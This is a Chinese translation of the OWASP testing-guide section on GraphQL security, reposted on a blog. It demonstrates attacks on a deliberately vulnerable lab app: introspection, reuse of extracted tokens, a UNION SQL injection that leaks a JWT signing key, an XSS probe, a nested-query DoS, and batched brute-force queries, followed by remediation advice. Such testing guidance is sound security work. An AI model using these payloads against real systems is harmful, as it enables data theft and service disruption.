4.12.1-测试 GraphQL

本文探讨了GraphQL在现代API中的应用及其带来的安全挑战,包括Introspection查询、SQL注入、授权问题、滥用查询等,并提供了测试方法、工具和防范措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

测试 GraphQL

ID
WSTG-APIT-01

总结

GraphQL 在现代 API 中已变得非常流行。它提供了简单性和嵌套对象,这有助于加快开发速度。虽然每种技术都有其优势,但它也可能使应用程序面临新的攻击面。此方案的目的是在使用 GraphQL 的应用程序上提供一些常见的错误配置和攻击向量。一些向量是 GraphQL 独有的(例如内省查询),有些是 API 的通用向量(例如 SQL 注入)。

本节中的示例将基于易受攻击的 GraphQL 应用程序 poc-graphql,该应用程序在 localhost:8080/GraphQL映射为易受攻击的 GraphQL 节点的 Docker 容器中运行。

测试目标

  • 评估是否部署了安全且生产就绪的配置。
  • 验证所有输入字段是否针对通用攻击。
  • 确保应用适当的访问控制。

如何测试

测试 GraphQL 节点与测试其他 API 技术没有太大区别。请考虑以下步骤:

ntrospection 查询

自省查询是 GraphQL 允许您询问支持哪些查询、哪些数据类型可用以及在进行 GraphQL 部署测试时需要的更多详细信息的方法。

GraphQL 网站介绍了 Introspection

“向 GraphQL 架构询问有关它支持的查询的信息通常很有用。GraphQL 允许我们使用内省系统来做到这一点!

有几种方法可以提取此信息并可视化输出,如下所示。

使用原生 GraphQL 内省

最直接的方法是发送带有以下有效负载的 HTTP 请求(使用个人代理),摘自 Medium上的一篇文章:

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    subscriptionType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}
fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

结果通常很长(因此在此处进行了缩短),并且它将包含 GraphQL 部署的整个架构。

响应:

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "Query"
      },
      "mutationType": {
        "name": "Mutation"
      },
      "subscriptionType": {
        "name": "Subscription"
      },
      "types": [
        {
          "kind": "ENUM",
          "name": "__TypeKind",
          "description": "An enum describing what kind of type a given __Type is",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": [
            {
              "name": "SCALAR",
              "description": "Indicates this type is a scalar.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "OBJECT",
              "description": "Indicates this type is an object. `fields` and `interfaces` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INTERFACE",
              "description": "Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "UNION",
              "description": "Indicates this type is a union. `possibleTypes` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
          ],
          "possibleTypes": null
        }
      ]
    }
  }
}

GraphQL Voyager 等工具可用于更好地了解 GraphQL 终端节点:

在这里插入图片描述


Figure 12.1-1: GraphQL Voyager
此工具创建 GraphQL 架构的实体关系图 (ERD) 表示形式,使您能够更好地了解正在测试的系统的运动部分。例如,从绘图中提取信息允许您查看可以查询 Dog 表。它还显示了 Dog 具有哪些属性:

  • ID
  • name
  • veterinary (ID)

使用此方法有一个缺点:GraphQL Voyager 不会显示可以使用 GraphQL 完成的所有操作。例如,上图中未列出可用的突变。更好的策略是同时使用 Voyager 和下面列出的方法之一。

使用 GraphiQL

GraphiQL 是一个基于 Web 的 GraphQL IDE。它是 GraphQL 项目的一部分,主要用于调试或开发目的。最佳做法是不允许用户在生产部署中访问它。如果您正在测试暂存环境,则可能有权访问它,因此可以在使用内省查询时节省一些时间(当然,您可以在 GraphiQL 界面中使用内省)。

GraphiQL 有一个文档部分,该部分使用架构中的数据来创建正在使用的 GraphQL 实例的文档。本文档包含数据类型、更改以及基本上可以使用内省提取的所有信息。

使用 GraphQL Playground

GraphQL Playground
是一个 GraphQL 客户端。它可用于测试不同的查询,以及将 GraphQL IDE 划分为不同的 Playground,并按主题或为它们分配名称对其进行分组。与 GraphiQL 非常相似,Playground 可以为您创建文档,而无需手动发送自省查询和处理响应。它还有另一个很大的优势:它不需要 GraphiQL 界面即可使用。您可以通过 URL 将该工具定向到 GraphQL 节点,也可以在本地将其与数据文件一起使用。GraphQL Playground 可用于直接测试漏洞,因此您无需使用个人代理发送 HTTP 请求。这意味着您可以使用此工具与 GraphQL 进行简单的交互和评估。对于其他更高级的负载,请使用 Personal Proxy。

请注意,在某些情况下,您需要在底部设置 HTTP 标头,以包含会话 ID 或其他身份验证机制。这仍然允许创建具有不同权限的多个 “IDE” 来验证是否确实存在授权问题。

在这里插入图片描述


Figure 12.1-2: GraphQL Playground High Level API Docs

在这里插入图片描述

Figure 12.1-3: GraphQL Playground API Schema

您甚至可以下载架构以在 Voyager 中使用。

内省结论

Introspection 是一个有用的工具,它允许用户获取有关 GraphQL 部署的更多信息。但是,这也将允许恶意用户访问相同的信息。最佳实践是限制对内省查询的访问,因为如果完全禁用此功能,某些工具或请求可能会失败。由于 GraphQL 通常桥接到系统的后端 API,因此最好实施严格的访问控制。

授权

Introspection 是查找授权问题的第一个位置。如前所述,应限制对内省的访问,因为它允许数据提取和数据收集。一旦测试人员可以访问架构并了解要提取的敏感信息,他们就应该发送不会因权限不足而被阻止的查询。默认情况下,GraphQL 不强制实施权限,因此由应用程序来执行授权强制执行。

在前面的示例中,自省查询的输出显示有一个名为 auth的查询。这似乎是提取敏感信息(如 API 令牌、密码等)的好地方。

在这里插入图片描述


Figure 12.1-4: GraphQL 身份验证查询 API

测试授权实现因部署而异,因为每个架构都有不同的敏感信息,因此需要关注的目标也不同。

在这个易受攻击的示例中,每个用户(即使是未经身份验证的)都可以访问数据库中列出的每个兽医的身份验证令牌。这些令牌可用于执行架构允许的其他操作,例如使用突变将狗与任何指定的兽医关联或取消关联,即使请求中没有与兽医匹配的身份验证令牌也是如此。

下面是一个示例,其中测试人员使用他们不拥有的提取令牌以兽医 “Benoit” 的身份执行操作:

query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNjAzMjkxMDE2fQ.r3r0hRX_t7YLiZ2c2NronQ0eJp8fSs-sOUpLyK844ew", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

And the response:

{
  "data": {
    "myInfo": {
      "id": 2,
      "name": "Benoit",
      "dogs": [
        {
          "name": "Babou"
        },
        {
          "name": "Baboune"
        },
        {
          "name": "Babylon"
        },
        {
          "name": "..."
        }
      ]
    }
  }
}

列表中的所有 Dog 都属于 Benoit,而不是 auth token 所有者。如果未实施适当的授权实施,则可以执行此类操作。

注入

GraphQL 是应用程序 API 层的实现,因此,它通常将请求直接转发到后端 API 或数据库。这允许您利用任何潜在的漏洞,例如 SQL 注入、命令注入、跨站点脚本等。使用 GraphQL 只会改变恶意负载的入口点。

您可以参考 OWASP 测试指南中的其他场景来获得一些想法。

GraphQL 还具有标量,通常用于没有本机数据类型的自定义数据类型,例如 DateTime。这些类型的数据没有现成的验证,因此非常适合进行测试。

SQL 注入

示例应用程序在查询 dogs(namePrefix: String, limit: Int = 500): [Dog!] 中很容易受到攻击,因为namePrefix参数在 SQL 查询中是串联的。连接用户输入是应用程序的常见不当做法,可能会使应用程序面临 SQL 注入。

以下查询从数据库内的 CONFIG 表中提取信息:

query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

对此查询的响应为:

{
  "data": {
    "dogs": [
      {
        "id": 1,
        "name": "Abi"
      },
      {
        "id": 2,
        "name": "Abime"
      },
      {
        "id": 3,
        "name": "..."
      },
      {
        "id": 50,
        "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^"
      }
    ]
  }
}

该查询包含在示例应用程序中对 JWT 进行签名的密钥,这是非常敏感的信息。

为了知道在任何特定应用程序中要查找的内容,收集有关应用程序如何构建和数据库表如何组织的信息将很有帮助。您还可以使用 sqlmap等工具来查找注入路径,甚至自动从数据库中提取数据。

跨站点脚本 (XSS)

当攻击者注入随后由浏览器运行的可执行代码时,就会发生跨站点脚本。在 Input Validation一章中了解 XSS 测试。您可以使用测试反射式跨站点脚本中的有效负载来测试反射型 XSS

在此示例中,错误可能会反映输入,并可能导致 XSS 发生。

有效载荷:

query xss  {
  myInfo(veterinaryId:"<script>alert('1')</script>" ,accessToken:"<script>alert('1')</script>") {
    id
    name
  }
}

Response:

{
  "data": null,
  "errors": [
    {
      "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value='<script>alert('1')</script>'}' is not a valid 'Int' @ 'myInfo'",
      "locations": [
        {
          "line": 2,
          "column": 10,
          "sourceName": null
        }
      ],
      "description": "argument 'veterinaryId' with value 'StringValue{value='<script>alert('1')</script>'}' is not a valid 'Int'",
      "validationErrorType": "WrongType",
      "queryPath": [
        "myInfo"
      ],
      "errorType": "ValidationError",
      "extensions": null,
      "path": null
    }
  ]
}

拒绝服务 (DoS) 查询

GraphQL 提供了一个非常简单的接口,允许开发人员使用嵌套查询和嵌套对象。此功能也可以以恶意方式使用,通过调用类似于递归函数的深度嵌套查询,并通过耗尽 CPU、内存或其他计算资源来导致拒绝服务。

回顾一下图 12.1-1,你可以看到可以创建一个 Dog 对象包含 Veterinary 对象的循环。可能会有无数的嵌套对象。

这允许进行深度查询,这可能会使应用程序过载:

query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

可以实施多种安全措施来防止这些类型的查询,如 Remediation (补救) 部分列出。滥用查询可能会导致 GraphQL 部署的 DoS 等问题,应包含在测试中。

批处理攻击

GraphQL 支持将多个查询批处理到单个请求中。这允许用户有效地请求多个对象或对象的多个实例。但是,攻击者可以利用此功能来执行批处理攻击。在一个请求中发送多个查询如下所示:

[
  {
    query: < query 0 >,
    variables: < variables for query 0 >,
  },
  {
    query: < query 1 >,
    variables: < variables for query 1 >,
  },
  {
    query: < query n >
    variables: < variables for query n >,
  }
]

在示例应用程序中,可以发送单个请求,以便使用可猜测的 ID(它是一个递增的整数)提取所有兽医名称。然后,攻击者可以利用这些名称来获取访问令牌。这些请求可能会被批处理,而不是在许多请求中这样做,这些请求可能会被网络安全措施(如 Web 应用程序防火墙或速率限制器(如 Nginx)阻止)。这意味着只有几个请求,这可能允许在不被检测到的情况下进行有效的暴力破解。下面是一个示例查询:

query {
  Veterinary(id: "1") {
    name
  }
  second:Veterinary(id: "2") {
    name
  }
  third:Veterinary(id: "3") {
    name
  }
}

这将向攻击者提供兽医的名称,如前面所示,这些名称可用于批量多次查询请求这些兽医的授权令牌。
例如:

query {
  auth(veterinaryName: "Julien")
  second: auth(veterinaryName:"Benoit")
}

批处理攻击可用于绕过网站上实施的许多安全措施。它还可用于枚举对象并尝试暴力破解多重身份验证或其他敏感信息。

详细的错误消息

GraphQL 在运行时可能会遇到意外错误。发生此类错误时,服务器可能会发送错误响应,该响应可能会泄露内部错误详细信息或应用程序配置或数据。这允许恶意用户获取有关应用程序的更多信息。作为测试的一部分,应通过发送意外数据来检查错误消息,此过程称为模糊测试。应搜索回复中可能使用此技术泄露的潜在敏感信息。

底层 API 的公开

GraphQL 是一项相对较新的技术,一些应用程序正在从旧 API 过渡到 GraphQL。在许多情况下,GraphQL 部署为标准 API,它将请求(使用 GraphQL 语法发送)以及响应转换为底层 API。如果未正确检查对底层 API 的请求以进行授权,则可能导致权限升级。

例如,包含参数 id=1/delete 的请求可能被解释为/api/users/1/delete。这可以扩展到对属于user=1的其他资源的操纵。还有一种可能是,请求被解释为对 GraphOL节点的授权,而不是对真实请求者的授权。

测试人员应尝试访问底层 API 方法,因为可能会提升权限。

修复

  • 限制对 Introspection 查询的访问。
  • 实施输入验证。
    • GraphQL 没有验证输入的原生方法,但是,有一个名为 “graphql-constraint-directive” 的开源项目,它允许将输入验证作为架构定义的一部分。
    • 单独的输入验证是有帮助的,但它并不是一个完整的解决方案,应该采取额外的措施来缓解注入攻击。
  • 实施安全措施以防止滥用查询。
    • Timeouts:限制允许查询运行的时间。
    • 最大查询深度:限制允许的查询深度,这可以防止过深的查询滥用资源。
    • 设置最大查询复杂性:限制查询的复杂性以减少 GraphQL 资源的滥用。
    • 使用基于服务器时间的限制:限制用户可以消耗的服务器时间量。
    • 使用基于查询复杂性的限制:限制用户可以使用的查询的总复杂性。
  • 发送一般错误消息:使用不透露部署详细信息的一般错误消息。
  • 缓解批处理攻击:
    • 在代码中添加对象请求速率限制。
    • 防止对敏感对象进行批处理。
    • 限制一次可以运行的查询数。

有关修复 GraphQL 弱点的更多信息,请参阅 GraphQL 备忘单

工具

引用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值